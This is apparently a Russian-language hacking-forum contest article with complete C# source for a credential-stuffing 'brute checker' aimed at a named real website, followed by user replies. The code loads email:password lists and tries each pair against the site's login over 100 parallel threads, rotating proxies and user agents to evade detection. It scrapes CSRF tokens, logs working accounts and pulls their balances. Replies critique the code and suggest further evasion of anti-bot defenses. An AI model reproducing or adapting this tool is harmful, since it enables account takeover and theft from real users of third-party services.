• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем брут чекер на c# net core

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
Автор Marozka
Статья написана для
Конкурса статей #10


Почему именно c# net core а не Python? На вкус и цвет товарищей нет. Но мне привычнее имено c# так как можно сделать красивый визуал программы через c# WinForm или c# WPF
Во всем коде я сделал комментарии чтобы было более понятно.
Для примера напишем брут чекер на рандомный сайт https://smmbro.su/ не реклама
Писать будем на c# net core.
Первым делом установим необходимые библиотеки через NuGet
1. HtmlAgilityPack- Для парса токенов баланса и т.д
2. System.Net.Http для HTTP запросов (Авторизация и т.д) (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
3. System.Threading Много поточность (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)

C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;



Далее читаем файлы и запускаем в работу некоторые функции в static async Task Main(string[] args)
C#:
static async Task Main(string[] args)
    {
        string loginUrl = "https://smmbro.su/login";
        string loginPassFilePath = "LoginPass.txt";
        string proxyFilePath = "Proxy.txt";

        // Чтение данных из файлов
        string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
        string[] proxyLines = File.ReadAllLines(proxyFilePath);

        Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
        Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");

        // Проверка прокси на валидность
        List<string> validProxies = await ValidateProxiesAsync(proxyLines);
        Console.WriteLine($"Валидных прокси: {validProxies.Count}");

        if (validProxies.Count == 0)
        {
            Console.WriteLine("Нет валидных прокси. Программа завершена.");
            return;
        }

        // Обновляем файл Proxy.txt, оставляя только валидные прокси
        File.WriteAllLines(proxyFilePath, validProxies);

        int successCount = 0;
        int failCount = 0;

        // Определяем количество параллельных задач
        int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
        SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

        List<Task> tasks = new List<Task>();

        foreach (string line in loginPassLines)
        {
            string[] parts = line.Split(':');
            if (parts.Length != 2)
            {
                Console.WriteLine($"Неверный формат строки: {line}");
                continue;
            }

            string email = parts[0];
            string password = parts[1];

            tasks.Add(Task.Run(async () =>
            {
                await semaphore.WaitAsync();

                try
                {
                    bool success = await TryLogin(email, password, loginUrl, validProxies);
                    if (success)
                    {
                        Interlocked.Increment(ref successCount);
                        File.AppendAllText("Good.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"{email}:{password}  Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
                        Console.ResetColor();
                    }
                    else
                    {
                        Interlocked.Increment(ref failCount);
                        File.AppendAllText("Bad.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"{email}:{password}  Не удалось войти.");
                        Console.ResetColor();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
                }
                finally
                {
                    semaphore.Release();
                }
            }));
        }




Добавляем несколько UserAgent для более корректной работы. и вызываем их рандомно для каждого действия авторизации.
C#:
    static string GetRandomUserAgent()
    {
        var userAgents = new List<string>
        {
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
            "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
        };

        Random random = new Random();
        return userAgents[random.Next(userAgents.Count)];
    }



Теперь парсим страницию входа для получения токенов (Токены это дополнительныя защита от сайта: Парсим HTML-код, чтобы найти токен
После чего: Подготавливаем данные для отправки формы.
В случае если успешный вход: Парсим HTML-код для проверки баланса
И сохраняем данные.
В коде так же есть проверка прокси на валид конкретно для данного сайта. Эту функцию можете удалить либо изменить строчку 188 на свои данные string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси



C#:
    static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
    {
        using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
        {
            // Выбираем случайный User-Agent
            Random random = new Random();
            string userAgent = GetRandomUserAgent();
            client.DefaultRequestHeaders.Add("User-Agent", userAgent);

            // Получаем страницу с формой входа
            try
            {
                var response = client.GetAsync(loginUrl).Result;
                var content = response.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код, чтобы найти токен
                var htmlDocument = new HtmlDocument();
                htmlDocument.LoadHtml(content);

                var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
                if (tokenElement == null)
                {
                    return "Баланс не найден.";
                }

                string token = tokenElement.GetAttributeValue("value", "");

                // Подготавливаем данные для отправки формы
                string formData = $"_token={token}&email={email}&password={password}";

                // Отправляем POST-запрос для авторизации
                var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
                var loginContent = loginResponse.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код для проверки баланса
                var balanceDocument = new HtmlDocument();
                balanceDocument.LoadHtml(loginContent);

                var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
                if (balanceElement != null)
                {
                    return balanceElement.InnerText.Trim();
                }
                else
                {
                    return "Баланс не найден.";
                }
            }
            catch (HttpRequestException)
            {
                return "Баланс не найден.";
            }
            catch (Exception)
            {
                return "Баланс не найден.";
            }
        }
    }

В строчке 45 устанавливаем количество потоков.
Программа проверяет сколько строчек аккаунтов в файле LoginPass.txt и если менее 100 строчек то запускает столько потоков сколько строчек. Если более 100 строчек запускает работу в 100 потоков. Можете поставить свое значение.
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);


В строчке 135 устанавливаем задержку перед парсом. Так как не всегда страница успевает прогрузиться во время. Можно уменьшить до 2х секунд
cts.CancelAfter(TimeSpan.FromSeconds(10));


Данную программу писал на заказ. Но за нее не заплатили. Поэтому пусть будет образовательный материал.

Весь код программы целиком​
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;


class Program
{
    static async Task Main(string[] args)
    {
        string loginUrl = "https://smmbro.su/login";
        string loginPassFilePath = "LoginPass.txt";
        string proxyFilePath = "Proxy.txt";

        // Чтение данных из файлов
        string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
        string[] proxyLines = File.ReadAllLines(proxyFilePath);

        Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
        Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");

        // Проверка прокси на валидность
        List<string> validProxies = await ValidateProxiesAsync(proxyLines);
        Console.WriteLine($"Валидных прокси: {validProxies.Count}");

        if (validProxies.Count == 0)
        {
            Console.WriteLine("Нет валидных прокси. Программа завершена.");
            return;
        }

        // Обновляем файл Proxy.txt, оставляя только валидные прокси
        File.WriteAllLines(proxyFilePath, validProxies);

        int successCount = 0;
        int failCount = 0;

        // Определяем количество параллельных задач
        int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
        SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

        List<Task> tasks = new List<Task>();

        foreach (string line in loginPassLines)
        {
            string[] parts = line.Split(':');
            if (parts.Length != 2)
            {
                Console.WriteLine($"Неверный формат строки: {line}");
                continue;
            }

            string email = parts[0];
            string password = parts[1];

            tasks.Add(Task.Run(async () =>
            {
                await semaphore.WaitAsync();

                try
                {
                    bool success = await TryLogin(email, password, loginUrl, validProxies);
                    if (success)
                    {
                        Interlocked.Increment(ref successCount);
                        File.AppendAllText("Good.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"{email}:{password}  Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
                        Console.ResetColor();
                    }
                    else
                    {
                        Interlocked.Increment(ref failCount);
                        File.AppendAllText("Bad.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"{email}:{password}  Не удалось войти.");
                        Console.ResetColor();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
                }
                finally
                {
                    semaphore.Release();
                }
            }));
        }

        await Task.WhenAll(tasks);

        Console.WriteLine($"Успешно вошло: {successCount}");
        Console.WriteLine($"Не вошло: {failCount}");
    }

    static async Task<bool> TryLogin(string email, string password, string loginUrl, List<string> validProxies)
    {
        using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
        {
            // Выбираем случайный User-Agent
            Random random = new Random();
            string userAgent = GetRandomUserAgent();
            client.DefaultRequestHeaders.Add("User-Agent", userAgent);

            // Получаем страницу с формой входа
            try
            {
                var response = await client.GetAsync(loginUrl);
                var content = await response.Content.ReadAsStringAsync();

                // Парсим HTML-код, чтобы найти токен
                var htmlDocument = new HtmlDocument();
                htmlDocument.LoadHtml(content);

                var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
                if (tokenElement == null)
                {
                    return false;
                }

                string token = tokenElement.GetAttributeValue("value", "");

                // Подготавливаем данные для отправки формы
                string formData = $"_token={token}&email={email}&password={password}";

                // Создаем CancellationTokenSource для ожидания
                var cts = new CancellationTokenSource();
                cts.CancelAfter(TimeSpan.FromSeconds(10)); // Увеличиваем время ожидания до 10 секунд

                try
                {
                    // Отправляем POST-запрос для авторизации
                    var loginResponse = await client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded"), cts.Token);
                    var loginContent = await loginResponse.Content.ReadAsStringAsync();

                    // Проверяем успешность авторизации
                    if (loginResponse.IsSuccessStatusCode)
                    {
                        // Добавляем задержку перед проверкой баланса
                        await Task.Delay(2000); // Задержка в 2 секунды

                        // Парсим HTML-код для проверки баланса
                        var balanceDocument = new HtmlDocument();
                        balanceDocument.LoadHtml(loginContent);

                        var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
                        if (balanceElement != null)
                        {
                            return true;
                        }
                    }
                }
                catch (OperationCanceledException)
                {
                    return false;
                }
                catch (HttpRequestException)
                {
                    return false;
                }
                catch (Exception)
                {
                    return false;
                }
            }
            catch (HttpRequestException)
            {
                return false;
            }
            catch (Exception)
            {
                return false;
            }

            return false;
        }
    }

    static async Task<List<string>> ValidateProxiesAsync(string[] proxyLines)
    {
        string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси
        List<string> validProxies = new List<string>();

        // Определяем количество параллельных задач
        int maxDegreeOfParallelism = Math.Min(proxyLines.Length, 100);
        SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

        List<Task> tasks = new List<Task>();

        foreach (string proxyLine in proxyLines)
        {
            tasks.Add(Task.Run(async () =>
            {
                await semaphore.WaitAsync();

                try
                {
                    if (await IsProxyValid(proxyLine, testUrl))
                    {
                        validProxies.Add(proxyLine);
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"Прокси {proxyLine} валиден.");
                        Console.ResetColor();
                    }
                    else
                    {
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"Прокси {proxyLine} невалиден.");
                        Console.ResetColor();
                    }
                }
                catch (HttpRequestException)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"Прокси {proxyLine} невалиден.");
                    Console.ResetColor();
                }
                catch (Exception)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"Прокси {proxyLine} невалиден.");
                    Console.ResetColor();
                }
                finally
                {
                    semaphore.Release();
                }
            }));
        }

        await Task.WhenAll(tasks);

        return validProxies;
    }

    static async Task<bool> IsProxyValid(string proxyLine, string testUrl)
    {
        string[] proxyParts = proxyLine.Split(':');

        if (proxyParts.Length != 2)
        {
            return false;
        }

        string proxyIp = proxyParts[0];
        int proxyPort = int.Parse(proxyParts[1]);

        try
        {
            using (var client = new HttpClient(CreateHandlerWithProxy(new List<string> { proxyLine })))
            {
                var response = await client.GetAsync(testUrl);
                return response.IsSuccessStatusCode;
            }
        }
        catch (HttpRequestException)
        {
            return false;
        }
        catch (Exception)
        {
            return false;
        }
    }

    static HttpClientHandler CreateHandlerWithProxy(List<string> validProxies)
    {
        Random random = new Random();
        string proxyLine = validProxies[random.Next(validProxies.Count)];
        string[] proxyParts = proxyLine.Split(':');

        if (proxyParts.Length != 2)
        {
            throw new ArgumentException($"Invalid proxy format: {proxyLine}");
        }

        string proxyIp = proxyParts[0];
        int proxyPort = int.Parse(proxyParts[1]);

        var handler = new HttpClientHandler
        {
            Proxy = new WebProxy(new Uri($"http://{proxyIp}:{proxyPort}")),
            UseProxy = true
        };

        return handler;
    }

    static string GetRandomUserAgent()
    {
        var userAgents = new List<string>
        {
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
            "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
        };

        Random random = new Random();
        return userAgents[random.Next(userAgents.Count)];
    }

    static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
    {
        using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
        {
            // Выбираем случайный User-Agent
            Random random = new Random();
            string userAgent = GetRandomUserAgent();
            client.DefaultRequestHeaders.Add("User-Agent", userAgent);

            // Получаем страницу с формой входа
            try
            {
                var response = client.GetAsync(loginUrl).Result;
                var content = response.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код, чтобы найти токен
                var htmlDocument = new HtmlDocument();
                htmlDocument.LoadHtml(content);

                var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
                if (tokenElement == null)
                {
                    return "Баланс не найден.";
                }

                string token = tokenElement.GetAttributeValue("value", "");

                // Подготавливаем данные для отправки формы
                string formData = $"_token={token}&email={email}&password={password}";

                // Отправляем POST-запрос для авторизации
                var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
                var loginContent = loginResponse.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код для проверки баланса
                var balanceDocument = new HtmlDocument();
                balanceDocument.LoadHtml(loginContent);

                var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
                if (balanceElement != null)
                {
                    return balanceElement.InnerText.Trim();
                }
                else
                {
                    return "Баланс не найден.";
                }
            }
            catch (HttpRequestException)
            {
                return "Баланс не найден.";
            }
            catch (Exception)
            {
                return "Баланс не найден.";
            }
        }
    }
}





Подведем итог. В большинстве случаев авторизация будет такая же как в примере. Единственное вам прийдется спарсить токен заново это меняется в строчке
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");

Для парса баланса изменить строчку 153
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
 
Последнее редактирование модератором:
Статья - говно.

1.
C#:
string[] parts = line.Split(':');
if (parts.Length != 2)
{
    Console.WriteLine($"Неверный формат строки: {line}");
    continue;
}

string email = parts[0];
string password = parts[1];

Я не уверен. Исправь если не прав.
Если на входе будет строка ":password", email будет равен пустоте, банальной проверки не реализовано.

При загрузке листа можно было банально привести разделитель к общему виду ; -> : .

2. Для чего такая заморочка с проверкой баланса после проверки валидности пары login;pass ?
Сейчас алгоритм такой: авторизуемся -> проверяем валидность (к этому вообще вопросов очень много... п.3)-> если валидный вытаскиваем элемент с балансом и отдаем True -> выполняем функцию получения баланса в которой полностью продублирован код из функции TryLogin за некоторым исключением... почему сразу не дернуть баланс после авторизации?

3. А как вообще реализованы определение Good / Bad ? Good определяется по факту по ответу сервера 200 OK (допустим так и есть), а Bad? Т.е Bad это все что не Good? Отвал прокси в моменте авторизации, заблокированный прокси, аккаунт у которого нужно поменять пароль и он кидает на 302 к примеру или что-то еще.

4. Поддержка прокси только http, где socks? Как быть с прокси по авторизации?

Качество кода в целом ну очень сомнительное.
Есть яркое ощущение что статья написана нейронкой, и будто-бы самой тупой.
Такой код человек хоть чуть смыслящий в программирование и тем более тематике статьи написать не мог.

Скрывать авторов лучше не стоило, мы должны знать наших героев.

p.s по поводу выводов в конце статьи про то что у большинства сайтов подобная авторизация как в примере... да ну нет конечно, все давно поменялось. анти-бот системы, капчи, tls fingerprinting, шифрование паролей и так далее.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я что то понять не могу , 10 статей от какого то бота, тут конкурс для ботов ? Кто больше наклипает статей ? Что это за мусор такой ? Гдже ожиатаж ребят которые могут просветить остальное поколение в той или иной сфере ? Что вообще происходит ?
Мусор у тебя в голове, если не можешь в основной топик конкурса зайти и прочитать о том, что все статьи будут публиковаться от лица бота
 
Я что то понять не могу , 10 статей от какого то бота, тут конкурс для ботов ? Кто больше наклипает статей ? Что это за мусор такой ? Гдже ожиатаж ребят которые могут просветить остальное поколение в той или иной сфере ? Что вообще происходит ?
Ну мы перестали писать, наняли оптимусов от дяди Маск-а, вот они и делают всю работу. У нас бунт авторов в целом уже пошел. Скоро я себе одену нейралинк, мне надоело мыслить, пусть за меня думает, а я я я я.... ERROR DETECTED REPORTING TO tfIsGoingOnDude.com
Error 429 API usage Limit Reached
Статья - говно.
Ну это жёстко, не убивай мотивацию человека. Ну типо за это и так он ничего не заработал, просто решил поучавствовать движа ради, оскорблять не особо уместно в данном случаи.
Есть яркое ощущение что статья написана нейронкой, и будто-бы самой тупой.
Кстати возможно, но зачем интересно автор выбрал ц#, нейронки лучше в питоне/го пишут.
 
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
Так делать не надо - https://www.milanjovanovic.tech/blog/the-right-way-to-use-httpclient-in-dotnet, не говоря уже о том, что каждый раз тратятся ресурсы на создание новых клиент хендлеров.
Лучше заранее инициализировать коллекцию HttpClient-ов под каждую проксю(в C# нельзя менять прокси у HttpClient на лету, прокся прописывается в конструкторе хердлера, который в свою очередь идет в конструктор HttpClient).
А еще лучше написать класс оболочку с коллекцией HttpClient-ов внутри для балансировки запросов между проксями, чтобы софт не долбил с одинх и тех же проксей запросами в таргет.
tasks.Add(Task.Run(async () =>
Эту часть кода можно упростить путем применения банального System.Threading.Tasks.Parallel.ForEachAsync, так это будет еще и эффективнее. Смысл использовать Task.Run есть, когда идет работа с разнородными задачами
 
Так делать не надо - https://www.milanjovanovic.tech/blog/the-right-way-to-use-httpclient-in-dotnet, не говоря уже о том, что каждый раз тратятся ресурсы на создание новых клиент хендлеров.
Лучше заранее инициализировать коллекцию HttpClient-ов под каждую проксю(в C# нельзя менять прокси у HttpClient на лету, прокся прописывается в конструкторе хердлера, который в свою очередь идет в конструктор HttpClient).
А еще лучше написать класс оболочку с коллекцией HttpClient-ов внутри для балансировки запросов между проксями, чтобы софт не долбил с одинх и тех же проксей запросами в таргет.

Эту часть кода можно упростить путем применения банального System.Threading.Tasks.Parallel.ForEachAsync, так это будет еще и эффективнее. Смысл использовать Task.Run есть, когда идет работа с разнородными задачами
Согласен
 
a 20k competition of who can use chatgpt lol
What progress has been made. Now you have to create an article and prove that you created it and not artificial intelligence))))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
присоединиться к критикам выше чтоли
static string GetRandomUserAgent() { var userAgents = new List<string> { "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0" }; Random random = new Random(); return userAgents[random.Next(userAgents.Count)]; }
Экземпляр класса Random достаточно создавать 1 раз при старте программы и использовать его.
Нет нужды тратить время и ресурсы на создание каждый раз при вызове GetRandomUserAgent().
string[] loginPassLines = File.ReadAllLines(loginPassFilePath); string[] proxyLines = File.ReadAllLines(proxyFilePath); Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}"); Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");
Загрузить базы и прокси в память ошибка. Слишком много памяти сожрать может.

Проверять прокси тоже затея не очень. Сейчас прокси лежит, через 10 секунд встаёт. Также и в обратную сторону работает))
Лучше по ходу отфильтровывать и брать следующую, если эта не рабочая. Да и чек прокси это не задача для брутера. unixway наше всё

static HttpClientHandler CreateHandlerWithProxy(List<string> validProxies) { Random random = new Random();
Здесь про рандом тоже самое, что и выше.

Брать СНГ сайт для брута тоже плохая идея была))))
 
Статья - говно.
Полностью солидарен

Да нужно уважать чужой труд, старания - но статья уровня зеленого форума, паста с гпт вероятнее всего

Напоминаю, призовые конкурса - 20к, 20к баксов, а не рублей

И потому статьи должны быть соответствующие, а не тяп ляп и готово

Ждем классных статей ближе к концу конкурса, я тоже в ближайшее время опубликую (возможно даже 2 статьи) по тематике малвари
 
присоединиться к критикам выше чтоли

Экземпляр класса Random достаточно создавать 1 раз при старте программы и использовать его.
Нет нужды тратить время и ресурсы на создание каждый раз при вызове GetRandomUserAgent().

Загрузить базы и прокси в память ошибка. Слишком много памяти сожрать может.

Проверять прокси тоже затея не очень. Сейчас прокси лежит, через 10 секунд встаёт. Также и в обратную сторону работает))
Лучше по ходу отфильтровывать и брать следующую, если эта не рабочая. Да и чек прокси это не задача для брутера. unixway наше всё


Здесь про рандом тоже самое, что и выше.

Брать СНГ сайт для брута тоже плохая идея была))))
Касаемо загрузки строк в память:
с прокси думаю вообще никаких проблем быть не должно, все таки обычно их количество не больше нескольких тысяч, ну возможно максимум десятков тысяч у особо серьёзных. Да и тем более, сейчас (да впрочем как и раньше) многие используют резидентные/мобильные бекконнект прокси, по факту адрес один c небольшим пулом портов на конце которых происходит ротация сотни тысяч разных адресов.
Так или иначе, крайне мало вероятно (если практически не возможно) угрохать таким образом память.

с кредами конечно все чутка сложнее, но то же в адекватных пределах.
грузить строки в память вполне себе хорошая идея. все таки в любом случае для работы с пачкой строк их нужно будет загружать в какой-то канал, если исходный файл < 2Gb (условно), то вообще проблемы фактически нет (кроме как длительного чтения с диска в память), логика же простая:
потоки взяли из условной очереди n объектов аккаунтов, обработали, удалили. / добавили обратно. так или иначе все же делается потоке-безопасно с блокировками доступа и так далее.
если конечно приложение x86 возможно утечет все к хренам из-за кривой работы внутри потоков раньше времени т.к обрабатываемые ресурсы занимают не мало..
но если к примеру файл гигантский можно конечно с блокировкой читать из файла, или вычитывать определенный блок построчно раз раз за разом (я близко не силен в таких алгоритмах. если есть какой-то хороший пример был бы рад увидеть и изучить). Но я думаю что в случае с реально большими файлами будет либо проще побить их на части меньше что бы запустить несколько экземляторов софта, либо написать алгоритм который грузит по чалкам файл в память после того как кончаются чреды в канале.

Но в эру повсеместных антибот которых на крупных площадках не 2 и да же не 3, наверное огромные объемы никто не долбит бездумно.

Все таки блокировка браузерного отпечатка, tls, капча, бан прокси и все сопутствующие ограничивают.
 
Касаемо загрузки строк в память:
с прокси думаю вообще никаких проблем быть не должно, все таки обычно их количество не больше нескольких тысяч, ну возможно максимум десятков тысяч у особо серьёзных. Да и тем более, сейчас (да впрочем как и раньше) многие используют резидентные/мобильные бекконнект прокси, по факту адрес один c небольшим пулом портов на конце которых происходит ротация сотни тысяч разных адресов.
Так или иначе, крайне мало вероятно (если практически не возможно) угрохать таким образом память.

с кредами конечно все чутка сложнее, но то же в адекватных пределах.
грузить строки в память вполне себе хорошая идея. все таки в любом случае для работы с пачкой строк их нужно будет загружать в какой-то канал, если исходный файл < 2Gb (условно), то вообще проблемы фактически нет (кроме как длительного чтения с диска в память), логика же простая:
потоки взяли из условной очереди n объектов аккаунтов, обработали, удалили. / добавили обратно. так или иначе все же делается потоке-безопасно с блокировками доступа и так далее.
если конечно приложение x86 возможно утечет все к хренам из-за кривой работы внутри потоков раньше времени т.к обрабатываемые ресурсы занимают не мало..
но если к примеру файл гигантский можно конечно с блокировкой читать из файла, или вычитывать определенный блок построчно раз раз за разом (я близко не силен в таких алгоритмах. если есть какой-то хороший пример был бы рад увидеть и изучить). Но я думаю что в случае с реально большими файлами будет либо проще побить их на части меньше что бы запустить несколько экземляторов софта, либо написать алгоритм который грузит по чалкам файл в память после того как кончаются чреды в канале.

Но в эру повсеместных антибот которых на крупных площадках не 2 и да же не 3, наверное огромные объемы никто не долбит бездумно.

Все таки блокировка браузерного отпечатка, tls, капча, бан прокси и все сопутствующие ограничивают.
Это всё тонкости разработки брутфорса, работа с данными (акки, прокси), работа с потоками, с протоколами, обход ограничений и т.п.
В этом как раз суть и интерес, а тут всего этого нет (даже части).
Мне допустим больше всего режет глаз хардкод, почему это всё не убрать в конфиг файл?!
Еще меня в 2025 смущает десктопный брут с "красивым визуалом", это не серьёзно как по мне.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх